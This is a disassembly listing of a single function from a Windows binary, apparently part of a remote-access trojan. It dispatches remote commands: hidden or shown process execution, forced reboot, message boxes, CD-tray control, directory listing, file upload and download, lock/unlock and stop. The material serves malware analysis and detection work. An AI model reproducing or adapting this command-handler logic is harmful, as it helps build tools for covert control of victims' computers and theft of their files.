Function at 0x40b040
Capabilities:
Check if file exists
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x436deb
mov eax, dword fs:[0]
push eax
sub esp, 0x654
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x210]
push eax
push 0
mov ebx, ecx
push 0
push ebx
lea edi, [ebp - 0x514]
mov dword [ebp - 0x514], 0
call fcn.004053f0
add esp, 0x10
mov ecx, str.exec_show
lea eax, [ebp - 0x210]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b0c0
test dl, dl
je 0x40b0bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b0c0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b0a0
xor eax, eax
jmp 0x40b0c5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b16e
push 0x20
call fcn.0041f974
lea ecx, [ebp - 0x310]
push ecx
push 0x22
push 0x22
push ebx
lea edi, [ebp - 0x514]
mov esi, eax
call fcn.004053f0
lea edx, [ebp - 0x110]
push edx
push 0x22
push 0x22
push ebx
call fcn.004053f0
add esp, 0x24
push 5
push 0
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x310]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 2
je 0x40b13c
mov dx, word [0x43d124]
mov word [esi], dx
mov al, byte [0x43d126]
mov byte [esi + 2], al
jmp 0x40bc21
mov ecx, dword [str.FILE_NOT_FOUND]
mov dword [esi], ecx
mov edx, dword [0x43d12c]
mov dword [esi + 4], edx
mov eax, dword [0x43d130]
mov dword [esi + 8], eax
mov cx, word [0x43d134]
mov word [esi + 0xc], cx
mov dl, byte [0x43d136]
mov byte [esi + 0xe], dl
jmp 0x40bc21
mov ecx, str.exec_hide
lea eax, [ebp - 0x210]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b1a0
test dl, dl
je 0x40b19c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b1a0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b180
xor eax, eax
jmp 0x40b1a5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b24e
push 0x20
call fcn.0041f974
mov esi, eax
lea eax, [ebp - 0x110]
push eax
push 0x22
push 0x22
push ebx
lea edi, [ebp - 0x514]
call fcn.004053f0
lea ecx, [ebp - 0x310]
push ecx
push 0x22
push 0x22
push ebx
call fcn.004053f0
add esp, 0x24
push 0
push 0
lea edx, [ebp - 0x310]
push edx
lea eax, [ebp - 0x110]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 2
je 0x40b21d
mov cx, word [0x43d124]
mov word [esi], cx
mov dl, byte [0x43d126]
mov byte [esi + 2], dl
jmp 0x40bc21
mov eax, dword [str.FILE_NOT_FOUND]
mov dword [esi], eax
mov ecx, dword [0x43d12c]
mov dword [esi + 4], ecx
mov edx, dword [0x43d130]
mov dword [esi + 8], edx
mov ax, word [0x43d134]
mov word [esi + 0xc], ax
mov cl, byte [0x43d136]
mov byte [esi + 0xe], cl
jmp 0x40bc21
mov ecx, str.reboot
lea eax, [ebp - 0x210]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b280
test dl, dl
je 0x40b27c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b280
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b260
xor eax, eax
jmp 0x40b285
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b2be
push eax
push eax
push str._r__t_0
push str.shutdown
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x20
call fcn.0041f974
mov ecx, 7
mov esi, str.SYSTEM_GOING_FOR_REBOOT_NOW
mov edi, eax
add esp, 4
rep movsd dword es:[edi], dword [esi]
jmp 0x40bc23
mov ecx, str.msgbox
lea eax, [ebp - 0x210]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b2f0
test dl, dl
je 0x40b2ec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b2f0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b2d0
xor eax, eax
jmp 0x40b2f5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b384
lea edx, [ebp - 0x110]
push edx
push 0x22
push 0x22
push ebx
lea edi, [ebp - 0x514]
call fcn.004053f0
lea eax, [ebp - 0x310]
push eax
push 0x22
push 0x22
push ebx
call fcn.004053f0
add esp, 0x20
push 0x40
lea ecx, [ebp - 0x310]
push ecx
lea edx, [ebp - 0x110]
push edx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x20
call fcn.0041f974
mov ecx, dword [str.MESSAGEBOX_DISPLAYED]
mov dword [eax], ecx
mov edx, dword [0x43d188]
mov dword [eax + 4], edx
mov ecx, dword [0x43d18c]
mov dword [eax + 8], ecx
mov edx, dword [0x43d190]
mov dword [eax + 0xc], edx
mov ecx, dword [0x43d194]
mov dword [eax + 0x10], ecx
mov dl, byte [0x43d198]
add esp, 4
mov byte [eax + 0x14], dl
jmp 0x40bc23
mov ecx, str.tray_open
lea eax, [ebp - 0x210]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b3b0
test dl, dl
je 0x40b3ac
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b3b0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b390
xor eax, eax
jmp 0x40b3b5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b455
mov esi, dword [sym.imp.WINMM.dll_mciSendCommandA]
lea eax, [ebp - 0x660]
push eax
push 0x2000
push 0x803
push 0
mov dword [ebp - 0x658], str.CDAudio
call esi
mov eax, dword [ebp - 0x65c]
lea ecx, [ebp - 0x51c]
push ecx
push 0x100
push 0x80d
push eax
mov edi, eax
call esi
lea edx, [ebp - 0x51c]
push edx
push 1
push 0x804
push edi
call esi
push 0x20
call fcn.0041f974
mov ecx, dword [str.CD_DVD_TRAY_OPENED]
mov dword [eax], ecx
mov edx, dword [0x43d1b4]
mov dword [eax + 4], edx
mov ecx, dword [0x43d1b8]
mov dword [eax + 8], ecx
mov edx, dword [0x43d1bc]
mov dword [eax + 0xc], edx
mov cx, word [0x43d1c0]
mov word [eax + 0x10], cx
mov dl, byte [0x43d1c2]
add esp, 4
mov byte [eax + 0x12], dl
jmp 0x40bc23
mov ecx, str.tray_close
lea eax, [ebp - 0x210]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b480
test dl, dl
je 0x40b47c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b480
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b460
xor eax, eax
jmp 0x40b485
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b525
mov esi, dword [sym.imp.WINMM.dll_mciSendCommandA]
lea eax, [ebp - 0x660]
push eax
push 0x2000
push 0x803
push 0
mov dword [ebp - 0x658], str.CDAudio
call esi
mov eax, dword [ebp - 0x65c]
lea ecx, [ebp - 0x51c]
push ecx
push 0x200
push 0x80d
push eax
mov edi, eax
call esi
lea edx, [ebp - 0x51c]
push edx
push 1
push 0x804
push edi
call esi
push 0x20
call fcn.0041f974
mov ecx, dword [str.CD_DVD_TRAY_CLOSED]
mov dword [eax], ecx
mov edx, dword [0x43d1d4]
mov dword [eax + 4], edx
mov ecx, dword [0x43d1d8]
mov dword [eax + 8], ecx
mov edx, dword [0x43d1dc]
mov dword [eax + 0xc], edx
mov cx, word [0x43d1e0]
mov word [eax + 0x10], cx
mov dl, byte [0x43d1e2]
add esp, 4
mov byte [eax + 0x12], dl
jmp 0x40bc23
mov ecx, 0x43d1e4
lea eax, [ebp - 0x210]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b550
test dl, dl
je 0x40b54c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b550
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b530
xor eax, eax
jmp 0x40b555
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b71d
lea eax, [ebp - 0x110]
push eax
push 0x22
push 0x22
push ebx
lea edi, [ebp - 0x514]
call fcn.004053f0
lea eax, [ebp - 0x110]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b580
sub eax, edx
cmp byte [ebp + eax - 0x111], 0x5c
je 0x40b5b2
lea edi, [ebp - 0x110]
dec edi
lea ebx, [ebx]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40b5a0
mov cx, word [0x43d1e8]
mov word [edi], cx
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40b6e8
lea esi, [ebp - 0x518]
call fcn.00405360
push str.Listing_of__s:_n_n
mov edi, 0x10
mov dword [ebp - 4], 0
call fcn.004053a0
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b5f1
sub eax, edx
add eax, 8
push eax
call fcn.0041f974
mov esi, eax
lea eax, [ebp - 0x110]
push eax
push 0x43d200
push esi
mov dword [ebp - 0x64c], esi
call fcn.00420bc7
lea ecx, [ebp - 0x648]
push ecx
push esi
call fcn.00422452
mov ebx, eax
add esp, 0x18
test ebx, ebx
je 0x40b69f
cmp ebx, 0xffffffff
je 0x40b69f
jmp 0x40b640
lea eax, [ebp - 0x624]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b650
sub eax, edx
lea edx, [ebp - 0x624]
push edx
mov edi, eax
lea esi, [ebp - 0x518]
call fcn.004053a0
push 0x43d208
mov edi, 1
call fcn.004053a0
lea eax, [ebp - 0x648]
push eax
push ebx
call fcn.00422579
add esp, 8
test eax, eax
je 0x40b640
push ebx
call fcn.004226a7
mov esi, dword [ebp - 0x64c]
add esp, 4
push esi
call fcn.00420c4b
mov edi, dword [ebp - 0x518]
mov eax, edi
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b6b3
sub eax, edx
inc eax
push eax
call fcn.0041f974
mov esi, eax
mov edx, esi
add esp, 4
mov eax, edi
sub edx, edi
mov edi, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x40b6d0
push edi
call fcn.00420f27
add esp, 4
jmp 0x40bc21
push 0x20
call fcn.0041f974
mov ecx, dword [str.DIR_NOT_FOUND]
mov esi, eax
mov dword [esi], ecx
mov edx, dword [0x43d210]
mov dword [esi + 4], edx
mov eax, dword [0x43d214]
mov dword [esi + 8], eax
mov cx, word [0x43d218]
mov word [esi + 0xc], cx
add esp, 4
jmp 0x40bc21
mov ecx, str.upload
lea eax, [ebp - 0x210]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b748
test dl, dl
je 0x40b744
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b748
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b728
xor eax, eax
jmp 0x40b74d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b937
lea edx, [ebp - 0x110]
push edx
push 0x22
push 0x22
push ebx
lea edi, [ebp - 0x514]
call fcn.004053f0
add esp, 0x10
call fcn.004018f0
mov ebx, eax
mov esi, 0x25
mov dword [ebp - 0x64c], ebx
call fcn.004011a0
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b790
sub eax, edx
mov edi, eax
call fcn.00406200
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b7a3
sub eax, edx
mov edx, eax
lea eax, [ebp - 0x110]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b7b7
sub eax, esi
add eax, edx
lea eax, [eax + edi + 0x80]
push eax
call fcn.0041f974
add esp, 4
lea ecx, [ebp - 0x110]
mov esi, eax
push ecx
mov dword [ebp - 0x514], esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40b8ee
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b7f8
sub eax, edx
inc eax
push eax
call fcn.0041f974
mov ebx, eax
lea eax, [ebp - 0x110]
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b816
sub eax, edx
inc eax
push eax
call fcn.0041f974
mov edi, eax
push edi
push ebx
push 0
lea edx, [ebp - 0x110]
push 0
push edx
call fcn.00422e33
add esp, 0x18
push edi
push ebx
call fcn.00406200
push eax
mov esi, 0x25
call fcn.004011a0
mov esi, dword [ebp - 0x514]
push eax
push str._s_comp_sext_s._s
push esi
call fcn.00420bc7
push ebx
call fcn.00420c4b
push edi
call fcn.00420c4b
mov ecx, dword [ebp - 0x64c]
push esi
lea edx, [ebp - 0x110]
call fcn.00404be0
mov edi, dword [ebp - 0x64c]
add esp, 0x24
test eax, eax
jne 0x40b8ae
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7530
call ebx
push esi
lea edx, [ebp - 0x110]
mov ecx, edi
call fcn.00404be0
add esp, 4
test eax, eax
je 0x40b892
push edi
call fcn.00420c4b
push esi
call fcn.00420c4b
push 0x20
call fcn.0041f974
mov ecx, dword [str.FILE_UPLOADED]
mov dword [eax], ecx
mov edx, dword [0x43d228]
mov dword [eax + 4], edx
mov ecx, dword [0x43d22c]
mov dword [eax + 8], ecx
mov dx, word [0x43d230]
add esp, 0xc
mov word [eax + 0xc], dx
jmp 0x40bc23
push ebx
call fcn.00420c4b
push esi
call fcn.00420c4b
push 0x20
call fcn.0041f974
mov ecx, dword [str.FILE_NOT_FOUND]
mov dword [eax], ecx
mov edx, dword [0x43d12c]
mov dword [eax + 4], edx
mov ecx, dword [0x43d130]
mov dword [eax + 8], ecx
mov dx, word [0x43d134]
mov word [eax + 0xc], dx
mov cl, byte [0x43d136]
add esp, 0xc
mov byte [eax + 0xe], cl
jmp 0x40bc23
mov ecx, str.download
lea eax, [ebp - 0x210]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b962
test dl, dl
je 0x40b95e
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b962
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b942
xor eax, eax
jmp 0x40b967
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40ba1d
push 0x20
call fcn.0041f974
lea edx, [ebp - 0x620]
push edx
push 0x22
push 0x22
push ebx
lea edi, [ebp - 0x514]
mov esi, eax
call fcn.004053f0
lea eax, [ebp - 0x510]
push eax
push 0x22
push 0x22
push ebx
call fcn.004053f0
lea ecx, [ebp - 0x410]
push ecx
push 0x22
push 0x22
push ebx
call fcn.004053f0
lea edx, [ebp - 0x510]
push edx
lea edx, [ebp - 0x410]
lea ecx, [ebp - 0x620]
call fcn.004047e0
add esp, 0x38
test eax, eax
je 0x40b9f6
mov eax, dword [str.FILE_DOWNLOADED]
mov dword [esi], eax
mov ecx, dword [0x43d244]
mov dword [esi + 4], ecx
mov edx, dword [0x43d248]
mov dword [esi + 8], edx
mov eax, dword [0x43d24c]
mov dword [esi + 0xc], eax
jmp 0x40bc21
mov ecx, dword [str.DOWNLOAD_FAILED]
mov dword [esi], ecx
mov edx, dword [0x43d254]
mov dword [esi + 4], edx
mov eax, dword [0x43d258]
mov dword [esi + 8], eax
mov ecx, dword [0x43d25c]
mov dword [esi + 0xc], ecx
jmp 0x40bc21
mov ecx, str.lock_distribution
lea eax, [ebp - 0x210]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40ba48
test dl, dl
je 0x40ba44
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40ba48
add eax, 2
add ecx, 2
test dl, dl
jne 0x40ba28
xor eax, eax
jmp 0x40ba4d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40bb05
push 0x20
call fcn.0041f974
add esp, 4
mov esi, 0x24
mov edi, eax
call fcn.004011a0
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40bad2
push 0x43cd88
call fcn.004011a0
push eax
call fcn.004217a9
add esp, 8
test eax, eax
je 0x40bab0
mov dx, word [0x43d124]
mov word [edi], dx
mov cl, byte [0x43d126]
push eax
mov byte [edi + 2], cl
call fcn.004220cf
add esp, 4
mov eax, edi
jmp 0x40bc23
mov edx, dword [str.FAILED]
mov dword [edi], edx
mov ax, word [0x43d278]
mov word [edi + 4], ax
mov cl, byte [0x43d27a]
mov byte [edi + 6], cl
mov eax, edi
jmp 0x40bc23
mov edx, dword [str.ALREADY_LOCKED]
mov dword [edi], edx
mov eax, dword [0x43d280]
mov dword [edi + 4], eax
mov ecx, dword [0x43d284]
mov dword [edi + 8], ecx
mov dx, word [0x43d288]
mov word [edi + 0xc], dx
mov al, byte [0x43d28a]
mov byte [edi + 0xe], al
mov eax, edi
jmp 0x40bc23
mov ecx, str.unlock_distribution
lea eax, [ebp - 0x210]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40bb30
test dl, dl
je 0x40bb2c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40bb30
add eax, 2
add ecx, 2
test dl, dl
jne 0x40bb10
xor eax, eax
jmp 0x40bb35
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40bbb0
push 0x20
call fcn.0041f974
add esp, 4
mov esi, 0x24
mov edi, eax
call fcn.004011a0
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40bb82
call fcn.004011a0
push eax
call fcn.00422143
mov cx, word [0x43d124]
mov word [edi], cx
mov dl, byte [0x43d126]
add esp, 4
mov byte [edi + 2], dl
mov eax, edi
jmp 0x40bc23
mov eax, dword [str.ALREADY_UNLOCKED]
mov dword [edi], eax
mov ecx, dword [0x43d2a4]
mov dword [edi + 4], ecx
mov edx, dword [0x43d2a8]
mov dword [edi + 8], edx
mov eax, dword [0x43d2ac]
mov dword [edi + 0xc], eax
mov cl, byte [0x43d2b0]
mov byte [edi + 0x10], cl
mov eax, edi
jmp 0x40bc23
mov ecx, str.stop
lea eax, [ebp - 0x210]
jmp 0x40bbc0
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40bbe0
test dl, dl
je 0x40bbdc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40bbe0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40bbc0
xor eax, eax
jmp 0x40bbe5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40bbef
push eax
call fcn.00422a95
lea eax, [ebp - 0x210]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40bbf8
sub eax, edx
add eax, 0x20
push eax
call fcn.0041f974
lea edx, [ebp - 0x210]
push edx
mov esi, eax
push str.UNKNOWN_COMMAND_____s_
push esi
call fcn.00420bc7
add esp, 0x10
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004204c6
mov esp, ebp
pop ebp
ret